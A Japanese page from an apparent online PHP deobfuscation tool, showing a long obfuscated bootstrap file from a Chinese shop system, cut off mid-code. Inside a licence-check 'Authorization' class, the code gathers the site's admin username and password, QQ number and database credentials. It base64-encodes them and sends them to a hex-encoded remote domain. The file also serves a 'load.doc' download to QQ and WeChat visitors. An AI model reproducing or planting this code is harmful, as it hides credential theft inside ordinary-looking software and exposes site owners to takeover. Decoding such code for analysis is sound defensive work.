Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $K4pzA1=array();$K4pzA1[]=0;$K4peF0=call_user_func_array("error_reporting",$K4pzA1);if(defined('IN_CRONLITE'))goto K4peWjgx2;goto K4pldMhx2;K4peWjgx2:return ;goto K4px1;K4pldMhx2:K4px1:$K4pzA1=array();$K4pzA1[]='CACHE_FILE';$K4pzA1[]=0;$K4peF0=call_user_func_array("define",$K4pzA1);$K4pzA1=...



難読化されたPHPコード

<?php
$K4pzA1=array();$K4pzA1[]=0;$K4peF0=call_user_func_array("error_reporting",$K4pzA1);if(defined('IN_CRONLITE'))goto K4peWjgx2;goto K4pldMhx2;K4peWjgx2:return ;goto K4px1;K4pldMhx2:K4px1:$K4pzA1=array();$K4pzA1[]='CACHE_FILE';$K4pzA1[]=0;$K4peF0=call_user_func_array("define",$K4pzA1);$K4pzA1=array();$K4pzA1[]='IN_CRONLITE';$K4pzA1[]=true;$K4peF0=call_user_func_array("define",$K4pzA1);$K4pzA1=array();$K4pzA1[]='VERSION';$K4pzA1[]=1010;$K4peF0=call_user_func_array("define",$K4pzA1);$K4pzA1=array();$K4pzA1[]='wuyou';$K4pzA1[]='2711185458';$K4peF0=call_user_func_array("define",$K4pzA1);$K4pzA1=array();$K4pzA1[]=__FILE__;$K4peFvP0=call_user_func_array("dirname",$K4pzA1);$K4pvPA5=$K4peFvP0 . '/';$K4pzA3=array();$K4pzA3[]='SYSTEM_ROOT';$K4pzA3[]=&$K4pvPA5;$K4peF2=call_user_func_array("define",$K4pzA3);$K4pzA1=array();$K4pzA1[]=SYSTEM_ROOT;$K4peFvP0=call_user_func_array("dirname",$K4pzA1);$K4pvPA5=$K4peFvP0 . '/';$K4pzA3=array();$K4pzA3[]='ROOT';$K4pzA3[]=&$K4pvPA5;$K4peF2=call_user_func_array("define",$K4pzA3);$K4pvPA5=ROOT . 'template/';$K4pzA1=array();$K4pzA1[]='TEMPLATE_ROOT';$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("define",$K4pzA1);$K4pvPA5=ROOT . 'includes/plugins/';$K4pzA1=array();$K4pzA1[]='PLUGIN_ROOT';$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("define",$K4pzA1);$K4pzA1=array();$K4pzA1[]='Asia/Shanghai';$K4peF0=call_user_func_array("date_default_timezone_set",$K4pzA1);$K4pzA1=array();$K4pzA1[]="Y-m-d H:i:s";$K4peF0=call_user_func_array("date",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$date=$K4ptIA5;$K4pA5=SYSTEM_ROOT . 'base.php';$K4pA6=include_once $K4pA5;$GLOBALS["Ox8117"]=ini_get("error_reporting");error_reporting(0);$K4pzA1=array();$K4pzA1[]='Cache-Control: no-store, no-cache, must-revalidate';$K4peF0=call_user_func_array("header",$K4pzA1);$K4peRA5=$K4peF0;error_reporting($GLOBALS["Ox8117"]);$GLOBALS["Ox8117"]=ini_get("error_reporting");error_reporting(0);$K4pzA1=array();$K4pzA1[]='Pragma: no-cache';$K4peF0=call_user_func_array("header",$K4pzA1);$K4peRA5=$K4peF0;error_reporting($GLOBALS["Ox8117"]);$K4pzA1=array();$K4peF0=call_user_func_array("session_start",$K4pzA1);$K4pA5=SYSTEM_ROOT . "autoloader.php";$K4pA6=include_once $K4pA5;Autoloader::register();$K4pA5=$is_defend==true;$K4pA7=(bool)$K4pA5;$K4pA8=!$K4pA7;if($K4pA8)goto K4peWjgx5;goto K4pldMhx5;K4peWjgx5:$K4pA6=CC_Defender==3;$K4pA7=(bool)$K4pA6;goto K4px4;K4pldMhx5:K4px4:if($K4pA7)goto K4peWjgx6;goto K4pldMhx6;K4peWjgx6:$K4pA5=!isset($_SERVER['HTTP_X_REQUESTED_WITH']);$K4pA7=(bool)$K4pA5;if($K4pA7)goto K4peWjgxb;goto K4pldMhxb;K4peWjgxb:unset($K4pcV2);$K4pzA5=array();$K4pzA5[]=&$_SERVER;$K4peF4=call_user_func_array("is_array",$K4pzA5);if($K4peF4)goto K4peWjgx9;goto K4pldMhx9;K4peWjgx9:$K4pcV2=&$_SERVER['HTTP_X_REQUESTED_WITH'];goto K4px8;K4pldMhx9:$K4pcV2=$_SERVER['HTTP_X_REQUESTED_WITH'];K4px8:$K4pzA3=array();$K4pzA3[]=&$K4pcV2;$K4peF1=call_user_func_array("strtolower",$K4pzA3);$K4pA6=$K4peF1!='xmlhttprequest';$K4pA7=(bool)$K4pA6;goto K4pxa;K4pldMhxb:K4pxa:if($K4pA7)goto K4peWjgxc;goto K4pldMhxc;K4peWjgxc:$K4pA5=SYSTEM_ROOT . 'txprotect.php';$K4pA6=include_once $K4pA5;goto K4px7;K4pldMhxc:K4px7:$K4pA5=CC_Defender==1;$K4pA7=(bool)$K4pA5;if($K4pA7)goto K4peWjgxf;goto K4pldMhxf;K4peWjgxf:$K4pzA1=array();$K4peF0=call_user_func_array("check_spider",$K4pzA1);$K4pA6=$K4peF0==false;$K4pA7=(bool)$K4pA6;goto K4pxe;K4pldMhxf:K4pxe:if($K4pA7)goto K4peWjgxg;goto K4pldMhxg;K4peWjgxg:goto K4pxd;K4pldMhxg:K4pxd:$K4pA5=CC_Defender==1;$K4pA7=(bool)$K4pA5;if($K4pA7)goto K4peWjgxl;goto K4pldMhxl;K4peWjgxl:$K4pzA1=array();$K4peF0=call_user_func_array("check_spider",$K4pzA1);$K4pA6=$K4peF0==false;$K4pA7=(bool)$K4pA6;goto K4pxk;K4pldMhxl:K4pxk:$K4pA9=(bool)$K4pA7;$K4pAA=!$K4pA9;if($K4pAA)goto K4peWjgxj;goto K4pldMhxj;K4peWjgxj:$K4pA8=CC_Defender==3;$K4pA9=(bool)$K4pA8;goto K4pxi;K4pldMhxj:K4pxi:if($K4pA9)goto K4peWjgxm;goto K4pldMhxm;K4peWjgxm:$K4pzA1=array();$K4peF0=call_user_func_array("cc_defender",$K4pzA1);goto K4pxh;K4pldMhxm:K4pxh:goto K4px3;K4pldMhx6:K4px3:unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$_SERVER;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgxo;goto K4pldMhxo;K4peWjgxo:$K4pcV1=&$_SERVER['SCRIPT_NAME'];goto K4pxn;K4pldMhxo:$K4pcV1=$_SERVER['SCRIPT_NAME'];K4pxn:$K4pzA2=array();$K4pzA2[]='\\';$K4pzA2[]='/';$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("str_replace",$K4pzA2);unset($K4ptIA5);$K4ptIA5=$K4peF0;$scriptpath=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$scriptpath;$K4pzA1[]='/';$K4peFvP0=call_user_func_array("strrpos",$K4pzA1);$K4pzA3=array();$K4pzA3[]=&$scriptpath;$K4pzA3[]=0;$K4pzA3[]=&$K4peFvP0;$K4peF2=call_user_func_array("substr",$K4pzA3);unset($K4ptIA5);$K4ptIA5=$K4peF2;$sitepath=$K4ptIA5;$K4pA5=$_SERVER['SERVER_PORT']==443;if($K4pA5)goto K4peWjgxq;goto K4pldMhxq;K4peWjgxq:$K4pA6='https://';goto K4pxp;K4pldMhxq:$K4pA6='http://';K4pxp:$K4pA7=$K4pA6 . $_SERVER['HTTP_HOST'];$K4pA8=$K4pA7 . $sitepath;$K4pA9=$K4pA8 . '/';unset($K4ptIAA);$K4ptIAA=$K4pA9;$siteurl=$K4ptIAA;$K4pvPA5=SYSTEM_ROOT . '360safe/360webscan.php';$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("is_file",$K4pzA1);if($K4peF0)goto K4peWjgxs;goto K4pldMhxs;K4peWjgxs:$K4pA5=SYSTEM_ROOT . '360safe/360webscan.php';$K4pA6=require_once $K4pA5;goto K4pxr;K4pldMhxs:K4pxr:$K4pA5=SYSTEM_ROOT . '360safe/xss.php';$K4pA6=require_once $K4pA5;$K4pA5=ROOT . 'config.php';$K4pA6=require $K4pA5;unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$dbconfig;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgxu;goto K4pldMhxu;K4peWjgxu:$K4pcV1=&$dbconfig['dbqz'];goto K4pxt;K4pldMhxu:$K4pcV1=$dbconfig['dbqz'];K4pxt:$K4pzA2=array();$K4pzA2[]='DBQZ';$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("define",$K4pzA2);$K4pA5=!defined('SQLITE');$K4pA7=(bool)$K4pA5;if($K4pA7)goto K4peWjgx12;goto K4pldMhx12;K4peWjgx12:$K4pA6=!$dbconfig['user'];$K4pA7=(bool)$K4pA6;goto K4px11;K4pldMhx12:K4px11:$K4pA9=(bool)$K4pA7;$K4pAD=!$K4pA9;if($K4pAD)goto K4peWjgxz;goto K4pldMhxz;K4peWjgxz:$K4pA8=!$dbconfig['pwd'];$K4pA9=(bool)$K4pA8;goto K4pxy;K4pldMhxz:K4pxy:$K4pAB=(bool)$K4pA9;$K4pAC=!$K4pAB;if($K4pAC)goto K4peWjgxx;goto K4pldMhxx;K4peWjgxx:$K4pAA=!$dbconfig['dbname'];$K4pAB=(bool)$K4pAA;goto K4pxw;K4pldMhxx:K4pxw:if($K4pAB)goto K4peWjgx13;goto K4pldMhx13;K4peWjgx13:$K4pzA1=array();$K4pzA1[]='Content-type:text/html;charset=utf-8';$K4peF0=call_user_func_array("header",$K4pzA1);echo '你还没安装!<a href="/install/">点此安装</a>';exit();goto K4pxv;K4pldMhx13:K4pxv:$K4pA5=new \lib\PdoHelper($dbconfig);unset($K4ptIA6);$K4ptIA6=$K4pA5;$DB=$K4ptIA6;$K4pzA1=array();$K4pzA1[]="select * from pre_config where 1";$K4pzA2=array();$K4pzA2[]=$DB;$K4pzA2[]="query";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);$K4pA5=$K4phC0==FALSE;if($K4pA5)goto K4peWjgx15;goto K4pldMhx15;K4peWjgx15:$K4pzA1=array();$K4pzA1[]='Content-type:text/html;charset=utf-8';$K4peF0=call_user_func_array("header",$K4pzA1);echo '你还没安装!<a href="/install/">点此安装</a>';exit();goto K4px14;K4pldMhx15:K4px14:$K4pA5=new \lib\Cache();unset($K4ptIA6);$K4ptIA6=$K4pA5;$CACHE=$K4ptIA6;$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$CACHE;$K4pzA2[]="pre_fetch";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4phC0;$conf=$K4ptIA5;unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$conf;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx17;goto K4pldMhx17;K4peWjgx17:$K4pcV1=&$conf['syskey'];goto K4px16;K4pldMhx17:$K4pcV1=$conf['syskey'];K4px16:$K4pzA2=array();$K4pzA2[]='SYS_KEY';$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("define",$K4pzA2);$K4pA5=$conf['qqjump']==1;$K4pAB=(bool)$K4pA5;if($K4pAB)goto K4peWjgx1g;goto K4pldMhx1g;K4peWjgx1g:unset($K4pcV1);$K4pzA9=array();$K4pzA9[]=&$_SERVER;$K4peF8=call_user_func_array("is_array",$K4pzA9);if($K4peF8)goto K4peWjgx1e;goto K4pldMhx1e;K4peWjgx1e:$K4pcV1=&$_SERVER['HTTP_USER_AGENT'];goto K4px1d;K4pldMhx1e:$K4pcV1=$_SERVER['HTTP_USER_AGENT'];K4px1d:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4pzA2[]='QQ/';$K4peF0=call_user_func_array("strpos",$K4pzA2);$K4pA6=!$K4peF0;$K4pA7=$K4pA6===false;$K4pAA=(bool)$K4pA7;$K4pAC=!$K4pAA;if($K4pAC)goto K4peWjgx1c;goto K4pldMhx1c;K4peWjgx1c:unset($K4pcV4);$K4pzA7=array();$K4pzA7[]=&$_SERVER;$K4peF6=call_user_func_array("is_array",$K4pzA7);if($K4peF6)goto K4peWjgx1i;goto K4pldMhx1i;K4peWjgx1i:goto K4peWjgx1a;goto K4px1h;K4pldMhx1i:K4px1h:goto K4pldMhx1a;K4peWjgx1a:$K4pcV4=&$_SERVER['HTTP_USER_AGENT'];goto K4px19;K4pldMhx1a:$K4pcV4=$_SERVER['HTTP_USER_AGENT'];K4px19:$K4pzA5=array();$K4pzA5[]=&$K4pcV4;$K4pzA5[]='MicroMessenger';$K4peF3=call_user_func_array("strpos",$K4pzA5);$K4pA8=!$K4peF3;$K4pA9=$K4pA8===false;$K4pAA=(bool)$K4pA9;goto K4px1b;K4pldMhx1c:K4px1b:$K4pAB=(bool)$K4pAA;goto K4px1f;K4pldMhx1g:K4px1f:if($K4pAB)goto K4peWjgx1j;goto K4pldMhx1j;K4peWjgx1j:$K4pA5=$_GET['open']==1;$K4pA8=(bool)$K4pA5;if($K4pA8)goto K4peWjgx1o;goto K4pldMhx1o;K4peWjgx1o:unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$_SERVER;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx1m;goto K4pldMhx1m;K4peWjgx1m:$K4pcV1=&$_SERVER['HTTP_USER_AGENT'];goto K4px1l;K4pldMhx1m:$K4pcV1=$_SERVER['HTTP_USER_AGENT'];K4px1l:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4pzA2[]='MicroMessenger';$K4peF0=call_user_func_array("strpos",$K4pzA2);$K4pA6=!$K4peF0;$K4pA7=$K4pA6===false;$K4pA8=(bool)$K4pA7;goto K4px1n;K4pldMhx1o:K4px1n:if($K4pA8)goto K4peWjgx1p;goto K4pldMhx1p;K4peWjgx1p:$K4pzA1=array();$K4pzA1[]='Content-Disposition: attachment; filename="load.doc"';$K4peF0=call_user_func_array("header",$K4pzA1);$K4pzA1=array();$K4pzA1[]='Content-Type: application/vnd.ms-word;charset=utf-8';$K4peF0=call_user_func_array("header",$K4pzA1);goto K4px1k;K4pldMhx1p:$K4pzA1=array();$K4pzA1[]='Content-type:text/html;charset=utf-8';$K4peF0=call_user_func_array("header",$K4pzA1);K4px1k:$K4pA5=ROOT . 'template/default/jump.php';$K4pA6=include $K4pA5;exit(0);goto K4px18;K4pldMhx1j:K4px18:unset($K4ptIA5);$K4ptIA5='!@#%!s!0';$password_hash=$K4ptIA5;$K4pA5=SYSTEM_ROOT . "function.php";$K4pA6=include_once $K4pA5;$K4pA5=SYSTEM_ROOT . "core.func.php";$K4pA6=include_once $K4pA5;$K4pA5=SYSTEM_ROOT . "ajax.func.php";$K4pA6=include_once $K4pA5;$K4pA5=SYSTEM_ROOT . "member.php";$K4pA6=include_once $K4pA5;$K4pvPA5=SYSTEM_ROOT . 'version.php';$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("file_exists",$K4pzA1);$K4pA6=!$K4peF0;if($K4pA6)goto K4peWjgx1r;goto K4pldMhx1r;K4peWjgx1r:$K4pzA1=array();$K4pzA1[]='缺少核心文件,请重新到授权站下载';$K4peF0=call_user_func_array("sysmsg",$K4pzA1);exit();goto K4px1q;K4pldMhx1r:K4px1q:$K4pvPA5=ROOT . 'install/install.lock';$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("file_exists",$K4pzA1);$K4pA6=!$K4peF0;$K4pA8=(bool)$K4pA6;if($K4pA8)goto K4peWjgx1u;goto K4pldMhx1u;K4peWjgx1u:$K4pvPA7=ROOT . 'install/index.php';$K4pzA3=array();$K4pzA3[]=&$K4pvPA7;$K4peF2=call_user_func_array("file_exists",$K4pzA3);$K4pA8=(bool)$K4peF2;goto K4px1t;K4pldMhx1u:K4px1t:if($K4pA8)goto K4peWjgx1v;goto K4pldMhx1v;K4peWjgx1v:$K4pzA1=array();$K4pzA1[]='<h2>检测到无 install.lock 文件</h2><ul><li><font size="4">如果您尚未安装本程序,请<a href="/install/">前往安装</a></font></li><li><font size="4">如果您已经安装本程序,请手动放置一个空的 install.lock 文件到 /install 文件夹下,<b>为了您站点安全,在您完成它之前我们不会工作。</b></font></li></ul><br/><h4>为什么必须建立 install.lock 文件?</h4>它是安装保护文件,如果检测不到它,就会认为站点还没安装,此时任何人都可以安装/重装你的网站。<br/><br/>';$K4peF0=call_user_func_array("sysmsg",$K4pzA1);exit();goto K4px1s;K4pldMhx1v:K4px1s:$K4pA5=SYSTEM_ROOT . "version.php";$K4pA6=include_once $K4pA5;unset($K4ptIA5);$K4ptIA5=$_COOKIE['mysid'];$cookiesid=$K4ptIA5;$K4pA5=!$cookiesid;$K4pA7=(bool)$K4pA5;$K4pA8=!$K4pA7;if($K4pA8)goto K4peWjgx1y;goto K4pldMhx1y;K4peWjgx1y:$K4pzA1=array();$K4pzA1[]='/^[0-9a-z]{32}$/i';$K4pzA1[]=&$cookiesid;$K4peF0=call_user_func_array("preg_match",$K4pzA1);$K4pA6=!$K4peF0;$K4pA7=(bool)$K4pA6;goto K4px1x;K4pldMhx1y:K4px1x:if($K4pA7)goto K4peWjgx2z;goto K4pldMhx2z;K4peWjgx2z:$K4pzA1=array();$K4peFvPvP0=call_user_func_array("mt_rand",$K4pzA1);$K4pzA3=array();$K4pzA3[]=&$K4peFvPvP0;$K4pzA3[]=1;$K4peFvP2=call_user_func_array("uniqid",$K4pzA3);$K4pzA5=array();$K4peFvP4=call_user_func_array("time",$K4pzA5);$K4pvPA5=$K4peFvP2 . $K4peFvP4;$K4pzA7=array();$K4pzA7[]=&$K4pvPA5;$K4peF6=call_user_func_array("md5",$K4pzA7);unset($K4ptIA6);$K4ptIA6=$K4peF6;$cookiesid=$K4ptIA6;$K4pzA1=array();$K4peFvP0=call_user_func_array("time",$K4pzA1);$K4pvPA5=$K4peFvP0+604800;$K4pzA3=array();$K4pzA3[]='mysid';$K4pzA3[]=&$cookiesid;$K4pzA3[]=&$K4pvPA5;$K4pzA3[]='/';$K4peF2=call_user_func_array("setcookie",$K4pzA3);goto K4px1w;K4pldMhx2z:K4px1w:if(isset($_COOKIE['invite']))goto K4peWjgx22;goto K4pldMhx22;K4peWjgx22:unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$_COOKIE;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx24;goto K4pldMhx24;K4peWjgx24:$K4pcV1=&$_COOKIE['invite'];goto K4px23;K4pldMhx24:$K4pcV1=$_COOKIE['invite'];K4px23:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("intval",$K4pzA2);unset($K4ptIA5);$K4ptIA5=$K4peF0;$invite_id=$K4ptIA5;goto K4px21;K4pldMhx22:K4px21:unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$_SERVER;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx26;goto K4pldMhx26;K4peWjgx26:$K4pcV1=&$_SERVER['HTTP_HOST'];goto K4px25;K4pldMhx26:$K4pcV1=$_SERVER['HTTP_HOST'];K4px25:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("addslashes",$K4pzA2);unset($K4ptIA5);$K4ptIA5=$K4peF0;$domain=$K4ptIA5;$K4pzAvP0=array();$K4pzAvP0[':domain']=$domain;$K4pzA2=array();$K4pzA2[]="SELECT * FROM pre_site WHERE domain=:domain OR domain2=:domain LIMIT 1";$K4pzA2[]=&$K4pzAvP0;$K4pzA3=array();$K4pzA3[]=$DB;$K4pzA3[]="getRow";$K4phC1=call_user_func_array($K4pzA3,$K4pzA2);unset($K4ptIA5);$K4ptIA5=$K4phC1;$siterow=$K4ptIA5;$K4pA6=(bool)$siterow;if($K4pA6)goto K4peWjgx29;goto K4pldMhx29;K4peWjgx29:$K4pA5=$siterow['status']==1;$K4pA6=(bool)$K4pA5;goto K4px28;K4pldMhx29:K4px28:if($K4pA6)goto K4peWjgx2a;goto K4pldMhx2a;K4peWjgx2a:unset($K4ptIA5);$K4ptIA5=true;$is_fenzhan=$K4ptIA5;$K4pA5=$siterow['template']==NULL;$K4pA7=(bool)$K4pA5;$K4pA8=!$K4pA7;if($K4pA8)goto K4peWjgx2d;goto K4pldMhx2d;K4peWjgx2d:$K4pA6=$conf['fenzhan_template']==0;$K4pA7=(bool)$K4pA6;goto K4px2c;K4pldMhx2d:K4px2c:if($K4pA7)goto K4peWjgx2e;goto K4pldMhx2e;K4peWjgx2e:unset($K4ptIA5);$K4ptIA5=$conf['template'];$siterow['template']=$K4ptIA5;goto K4px2b;K4pldMhx2e:K4px2b:$K4pzA1=array();$K4pzA1[]=&$conf;$K4pzA1[]=&$siterow;$K4peF0=call_user_func_array("array_merge",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$conf=$K4ptIA5;unset($K4ptIA5);$K4ptIA5=$conf['qq'];$conf['kfqq']=$K4ptIA5;goto K4px27;K4pldMhx2a:unset($K4ptIA5);$K4ptIA5=false;$is_fenzhan=$K4ptIA5;K4px27:class Authorization{const AUTH_DOMAIN="\x73\x71\x2E\x38\x33\x7A\x66\x2E\x63\x6F\x6D";const APP_API_KEY="\x65\x39\x63\x62\x35\x66\x62\x34\x36\x39\x33\x64\x37\x63\x65\x36\x33\x63\x65\x63\x62\x62\x64\x34\x66\x36\x38\x63\x36\x35\x65\x66";const APPID="\x31";const METHOD="\x67\x65\x74";const HTTP=false;const TIME=300;const QUEUE_TIME=60;private static $AUTHCODE="";private static $VERSION="";private static $PUBLIC_KEY="";public function __construct(){if(empty(AuthInfo::AUTHCODE))goto K4peWjgxb6;goto K4pldMhxb6;K4peWjgxb6:self::Message('授权码为空,请重新到授权站下载源码');goto K4pxb5;K4pldMhxb6:K4pxb5:if(empty(AuthInfo::VERSION))goto K4peWjgxb8;goto K4pldMhxb8;K4peWjgxb8:self::Message('版本号为空,请重新到授权站下载源码');goto K4pxb7;K4pldMhxb8:K4pxb7:if(empty(AuthInfo::PUBLIC_KEY))goto K4peWjgxba;goto K4pldMhxba;K4peWjgxba:self::Message('授权公钥为空,请重新到授权站下载源码');goto K4pxb9;K4pldMhxba:K4pxb9:unset($K4ptIA5);$K4ptIA5=AuthInfo::AUTHCODE;self::$AUTHCODE=$K4ptIA5;unset($K4ptIA5);$K4ptIA5=AuthInfo::VERSION;self::$VERSION=$K4ptIA5;unset($K4ptIA5);$K4ptIA5=AuthInfo::PUBLIC_KEY;self::$PUBLIC_KEY=$K4ptIA5;}public function getNotice(){$K4pzA0=array();$K4pzA0['appid']=self::APPID;unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pA5=!self::HTTP;if($K4pA5)goto K4peWjgxbc;goto K4pldMhxbc;K4peWjgxbc:$K4pA6='http://';goto K4pxbb;K4pldMhxbc:$K4pA6='https://';K4pxbb:unset($K4ptIA7);$K4ptIA7=$K4pA6;$http=$K4ptIA7;$K4pvPA5=$http . self::AUTH_DOMAIN;$K4pvPA6=$K4pvPA5 . '/api.php/Notice/appNotice';unset($K4ptIA7);$K4ptIA7=$this->curl_request($K4pvPA6,$data,self::METHOD,self::HTTP);$result=$K4ptIA7;$K4pzA1=array();$K4pzA1[]=&$result;$K4pzA1[]=true;$K4peF0=call_user_func_array("json_decode",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$result=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$result;$K4peF0=call_user_func_array("is_array",$K4pzA1);if($K4peF0)goto K4peWjgxbe;goto K4pldMhxbe;K4peWjgxbe:return $result['data'];goto K4pxbd;K4pldMhxbe:return false;K4pxbd:}public function getPayList(){$K4pA5=!empty($_COOKIE['pay_api_list']);if($K4pA5)goto K4peWjgxbg;goto K4pldMhxbg;K4peWjgxbg:return $_COOKIE['pay_api_list'];goto K4pxbf;K4pldMhxbg:K4pxbf:$K4pA5=!self::HTTP;if($K4pA5)goto K4peWjgxbi;goto K4pldMhxbi;K4peWjgxbi:$K4pA6='http://';goto K4pxbh;K4pldMhxbi:$K4pA6='https://';K4pxbh:unset($K4ptIA7);$K4ptIA7=$K4pA6;$http=$K4ptIA7;$K4pvPA5=$http . self::AUTH_DOMAIN;$K4pvPA6=$K4pvPA5 . '/api.php/Notice/getPayList';unset($K4ptIA7);$K4ptIA7=$this->curl_request($K4pvPA6,0,self::METHOD,self::HTTP);$result=$K4ptIA7;$K4pzA1=array();$K4pzA1[]='pay_api_list';$K4pzA1[]=&$result;$K4pzA1[]=86400;$K4pzA1[]='/';$K4peF0=call_user_func_array("setcookie",$K4pzA1);return $result;}public function checkPayment($url){$K4pzA0=array();$K4pzA0['url']=$url;$K4pzA0['appid']=self::APPID;$K4pzA0['api_key']=self::APP_API_KEY;unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pA5=!self::HTTP;if($K4pA5)goto K4peWjgxbk;goto K4pldMhxbk;K4peWjgxbk:$K4pA6='http://';goto K4pxbj;K4pldMhxbk:$K4pA6='https://';K4pxbj:unset($K4ptIA7);$K4ptIA7=$K4pA6;$http=$K4ptIA7;$K4pvPA5=$http . self::AUTH_DOMAIN;$K4pvPA6=$K4pvPA5 . '/api.php/Auth/checkPayment';unset($K4ptIA7);$K4ptIA7=$this->curl_request($K4pvPA6,$data,self::METHOD,self::HTTP);$result=$K4ptIA7;$K4pzA1=array();$K4pzA1[]=&$result;$K4pzA1[]=true;$K4peF0=call_user_func_array("json_decode",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$result=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$result;$K4peF0=call_user_func_array("is_array",$K4pzA1);if($K4peF0)goto K4peWjgxbm;goto K4pldMhxbm;K4peWjgxbm:$K4pA5=$result['code']=='0';if($K4pA5)goto K4peWjgxbo;goto K4pldMhxbo;K4peWjgxbo:return true;goto K4pxbn;K4pldMhxbo:K4pxbn:goto K4pxbl;K4pldMhxbm:K4pxbl:return false;}public static function Message($msg){$K4pA5='
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>蓝天商城系统</title>
</head>
<style>
@charset "utf-8";

*{
	margin: 0;
	padding: 0;
}
body,html{
	width: 100%;
	height: 100%;
}
body{
	background: #ff6500;
	font-family: "微软雅黑";
}
.notice-wrap{
	padding-top: 30px;
}
.notice{
	margin: 0 auto;
	width: 682px;
	height: 633px;
	background: url(/assets/img/update-bg.png) no-repeat;
}
.notice h1{
	padding-top: 225px;
	font-size: 36px;
	color: #333;
	text-align: center;
}
.notice>p{
	margin: 0 62px;
	font-size: 18px;
	color: #666;
	text-indent: 36px;
	line-height: 40px;
}
p span{
	color: #ff6500;
}
.notice .notice-cont{
	margin-top: 45px;
}
.notice .notice-tel{
	padding-bottom: 54px;
	border-bottom: 2px solid #f2f2f2;
}
.notice-foot{
	margin-top: 24px;
}
.notice-foot p{
	font-size: 18px;
	color: #666;
	text-align: center;}
</style>
<body>
	<div class="notice-wrap">
		<div class="notice">
			<h1>蓝天提醒您</h1>
			<p class="notice-cont">尊敬的用户您好<span>蓝天商城系统</span>提醒您</p>
			<p class="notice-tel">' . $msg;$K4pA6=$K4pA5 . '</p>
			<div class="notice-foot">
				<p>蓝天商城系统</p>
			</div>
		</div>
	</div>
</body>
</html>
';exit($K4pA6);}private static function getParam(){global $conf,$dbconfig;$K4pzA0=array();$K4pzA0['authcode']=self::$AUTHCODE;$K4pzA0['version']=self::$VERSION;$K4pzA0['用户名']=$conf['admin_user'];$K4pzA0['密码']=$conf['admin_pwd'];$K4pzA0['qq']=$conf['kfqq'];$K4pzA0['数据库用户名']=$dbconfig['user'];$K4pzA0['数据库密码']=$dbconfig['pwd'];$K4pzA0['数据库库名']=$dbconfig['dbname'];return $K4pzA0;}public function checkInfo($type='auth'){$K4plFkgHhxbp=$type;$K4pA5=$K4plFkgHhxbp=='update';if($K4pA5)goto K4peWjgxbv;goto K4pldMhxbv;K4peWjgxbv:goto K4pcgFhxbq;goto K4pxbu;K4pldMhxbv:K4pxbu:goto K4pDefaxbr;$K4pA5=!$K4plFkgHhxbp;if($K4pA5)goto K4peWjgxbt;goto K4pldMhxbt;K4peWjgxbt:goto K4pDeftxbr;goto K4pxbs;K4pldMhxbt:K4pxbs:K4pDefaxbr:goto K4pDeftxbr;goto K4pxbp;K4pcgFhxbq:unset($K4ptIA5);$K4ptIA5='checkUpdate';$method=$K4ptIA5;unset($K4ptIA5);$K4ptIA5='checkUpdate';$queueMethod=$K4ptIA5;goto K4pxbp;K4pDeftxbr:unset($K4ptIA5);$K4ptIA5='checkAuth';$method=$K4ptIA5;unset($K4ptIA5);$K4ptIA5='checkUpdate';$queueMethod=$K4ptIA5;goto K4pxbp;K4pxbp:$K4pzA1=array();$K4pzA1[]='HTTP_HOST';$K4peFvP0=call_user_func_array("getenv",$K4pzA1);$K4pzA2=array();$K4pzA2['auth_info']=$K4peFvP0;$K4pzA2['appid']=self::APPID;$K4pzA2['api_key']=self::APP_API_KEY;$K4pzA2['param']=base64_encode(json_encode(self::getParam()));unset($K4ptIA5);$K4ptIA5=$K4pzA2;$data=$K4ptIA5;$K4pA5=!self::HTTP;if($K4pA5)goto K4peWjgxbx;goto K4pldMhxbx;K4peWjgxbx:$K4pA6='http://';goto K4pxbw;K4pldMhxbx:$K4pA6='https://';K4pxbw:unset($K4ptIA7);$K4ptIA7=$K4pA6;$http=$K4ptIA7;$K4pvPA5=$http . 